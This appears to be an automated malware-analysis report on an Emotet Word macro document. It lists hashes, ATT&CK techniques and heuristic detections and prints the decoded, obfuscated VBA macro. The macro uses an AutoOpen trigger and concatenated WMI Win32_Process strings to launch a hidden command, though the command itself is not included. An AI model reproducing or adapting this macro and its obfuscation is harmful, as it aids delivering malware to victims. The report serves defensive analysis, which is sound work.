Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 88bd4e527a7ce0e3…

MALICIOUS

Office (OLE)

129.5 KB Created: 2019-05-06 13:52:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f535d442feac73ad6ec73845525aad1a SHA-1: 7a92e8c0b0f39b575d3d901d05ad7b3ad159ad82 SHA-256: 88bd4e527a7ce0e367cc56a9c490b803273960a3cf0fc17e5ce8447ab2eede88
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 DLL Search Order Hijacking T1218.011 Signed Binary Proxy Execution: Rundll32

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes WMI to launch a process. This is strongly indicative of the Emotet family, which commonly uses such techniques to download and execute further stages. The ClamAV signature further confirms this attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6963217-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6963217-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3710 bytes
SHA-256: 6d4fe8d06cc927eb1d1c16cac90e810765fbc8ebe4a1f25fa83287ac59a3f9f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "d426078"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "K20_40"
Attribute VB_Base = "0{2F84D7F1-1265-4D74-899B-85568CE8D59D}{CC1E96F1-BE48-427E-8A81-530F5FF6F31B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "S_7875"

Attribute VB_Name = "S31__90"

Attribute VB_Name = "Z6146_"

Attribute VB_Name = "l678094"

Attribute VB_Name = "N94776"
Attribute VB_Base = "0{10086F52-2903-4676-BEC0-D07BB8D69D0F}{A1B888AD-0D1D-4AB3-BE66-E4C02304E6E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P324_802"
Function r3073_(X977412)
         While b24440 And 459520417
      Wend
         While a5_45897 And 532484408
      Wend
Set r3073_ = CVar(X977412)
         While n050064 And 376973578
      Wend
         While W12396 And 576509845
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While U_92588 And 17703731
      Wend
         While i08528 And 552808729
      Wend
Call K_657609
         While P001748 And 239949978
      Wend
         While s675_4 And 796560502
      Wend
End Sub


Attribute VB_Name = "j8944381"
Function K_657609()
On Error Resume Next
         While D819_93 And 529237306
      Wend
         While z0279508 And 901946923
      Wend
         While a15058 And 353081439
      Wend
j18_9397 = K20_40.w56049 + N94776.E0122054 + K20_40.w56049.ControlTipText + N94776.v5395367 + K20_40.w56049.PasswordChar + K20_40.w56049.ControlTipText + N94776.H8_826_8 + K20_40.w56049.ControlSource + K20_40.w56049.PasswordChar + N94776.B_076730 + K20_40.w56049.PasswordChar + N94776.z689339 + K20_40.w56049.PasswordChar
         While w_26193 And 424890800
      Wend
         While f292866 And 301601492
      Wend
Set K1087_6 = r3073_(GetObject("win" + _
"mgmt" + "s:Wi" + "n32_Pr" _
+ "ocess"))
         While D14213 And 813392683
      Wend
         While k__55_88 And 288509744
      Wend
         While V6024269 And 899771316
      Wend
K1087_6.Create i7361907 + j18_9397 + w16814, G7017_1, j80773, s0054472
         While H112761 And 269341593
      Wend
         While V_561862 And 943534848
      Wend
End Function


Attribute VB_Name = "T1897341"

Public Function j80773()
         While H46497 And 381588965
      Wend
         While w1_2440 And 390300541
      Wend
Set j80773 = r3073_(GetObject("win" _
+ "mgmt" + "s:Wi" _
+ "n32_Pr" + "ocess" + "S" _
+ "tartup"))
         While K098083_ And 303981355
      Wend
         While O9051830 And 371507092
      Wend
u5__38 = vbError - vbError
         While D3508623 And 884250380
      Wend
         While A474829 And 59916080
      Wend
         While I5454002 And 119611633
      Wend
With j80773
         While v_9505 And 36596709
      Wend
         While q5408_65 And 805412601
      Wend
. _
ShowWindow = u5__38 + u5__38 + u5__38 + u5__38 + u5__38 + u5__38 + u5__38
         While M514349_ And 671154455
      Wend
         While s8931__ And 275610145
      Wend
End With
         While q0506537 And 746966759
      Wend
         While h699130 And 596417525
      Wend
End Function

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